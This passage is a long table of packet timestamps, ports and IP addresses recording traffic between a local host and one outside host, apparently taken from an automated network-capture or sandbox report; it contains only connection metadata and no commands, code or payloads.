Oct 15, 2024 19:22:23.564868927 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.564877033 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.564896107 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.564899921 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.564913988 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.564924955 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.564939022 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.564954042 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.564963102 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.564990044 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565004110 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565016031 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565027952 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.565057993 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.565063000 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565078020 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565120935 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.565140009 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565184116 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565196037 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565222979 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.565232038 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565244913 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565257072 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565269947 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565282106 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565288067 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.565314054 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.565380096 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565392971 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565422058 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565433979 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565434933 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.565470934 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.565516949 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565529108 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565542936 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565576077 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.565592051 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.565642118 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565654993 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565666914 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565679073 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565700054 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565706015 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.565712929 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565726042 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.565735102 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.565747976 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.565777063 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566009998 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566023111 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566034079 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566056013 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566066027 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566067934 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566080093 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566090107 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566092968 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566106081 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566106081 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566118956 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566132069 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566137075 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566143990 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566157103 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566168070 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566169977 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566185951 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566185951 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566198111 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566205025 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566210985 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566224098 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566236019 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566246986 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566252947 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566270113 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566272020 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566282988 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566294909 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566299915 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566308022 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566320896 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566323996 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566337109 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566337109 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566349983 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566354990 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566399097 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566482067 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566493988 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566504955 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566517115 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566531897 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566539049 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566550970 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566559076 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566564083 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566576958 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566589117 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566591978 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566611052 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566631079 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566642046 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566654921 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566667080 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566688061 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566694021 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566699982 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566713095 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566724062 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566750050 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566852093 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566864967 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566876888 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566888094 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566900015 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566901922 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566911936 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566929102 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566945076 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.566958904 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566972017 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566983938 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.566994905 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567006111 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567013025 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567018032 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567029953 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567033052 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567042112 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567058086 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567061901 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567070961 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567097902 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567137003 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567150116 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567171097 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567182064 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567183018 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567203999 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567207098 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567219973 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567234039 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567238092 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567267895 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567272902 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567286968 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567297935 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567320108 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567327023 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567332029 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567353010 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567354918 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567368984 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567382097 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567408085 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567444086 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567456961 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567467928 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567481041 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567517996 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567565918 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567579031 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567590952 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567601919 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567605019 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567614079 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567626953 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567637920 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567639112 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567651987 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567651987 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567665100 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567672014 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567673922 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567688942 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567699909 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567701101 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567714930 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567723989 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567727089 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567739964 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567750931 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567750931 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567766905 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567787886 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567812920 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567848921 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567862034 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567873001 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567883968 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567888021 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567895889 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567903042 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567909956 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567929983 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567943096 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567953110 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.567955971 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.567967892 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568006039 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.568030119 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568042040 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568056107 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568068027 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568080902 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568101883 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568101883 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.568129063 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.568147898 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.568229914 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568243027 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568255901 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568272114 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.568285942 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.568303108 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.568329096 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568367958 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.568382978 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568394899 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568423986 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.568444014 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568449020 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.568464994 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568480015 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.568500996 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.568582058 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568593979 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568629980 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568629980 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.568670988 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.568814993 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568828106 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568840027 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568850994 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.568861008 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:23.568862915 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.569010973 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.569118023 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.569164038 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.569188118 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.569247007 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.569258928 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.569272995 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.569313049 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.569395065 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.569406986 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.569595098 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.569763899 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.569808960 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.569819927 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.569886923 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.569900036 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.569928885 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.569974899 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.570038080 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.570117950 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.570205927 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.570260048 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.570379019 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.570431948 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.570770979 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.570802927 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.571050882 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.571167946 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.571180105 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.571191072 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.571202993 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.571281910 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.571294069 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.571410894 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.571595907 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.571702957 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.571715117 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.571777105 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.571789026 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.571801901 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.571865082 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.571887970 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572005033 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572074890 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572087049 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572163105 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572175026 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572186947 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572201014 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572268963 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572282076 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572294950 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572380066 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572402000 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572413921 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572424889 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572463036 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572474957 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572489977 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572530985 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572542906 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572554111 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572669983 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572681904 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572693110 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572704077 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572725058 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572736979 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572840929 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572854042 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572865009 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572875977 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572886944 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572897911 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572909117 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572921038 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572942019 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572962999 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572973967 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572984934 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.572997093 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573009014 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573019981 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573030949 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573062897 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573076010 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573091984 CEST	42128	49735	87.120.127.223	192.168.2.5
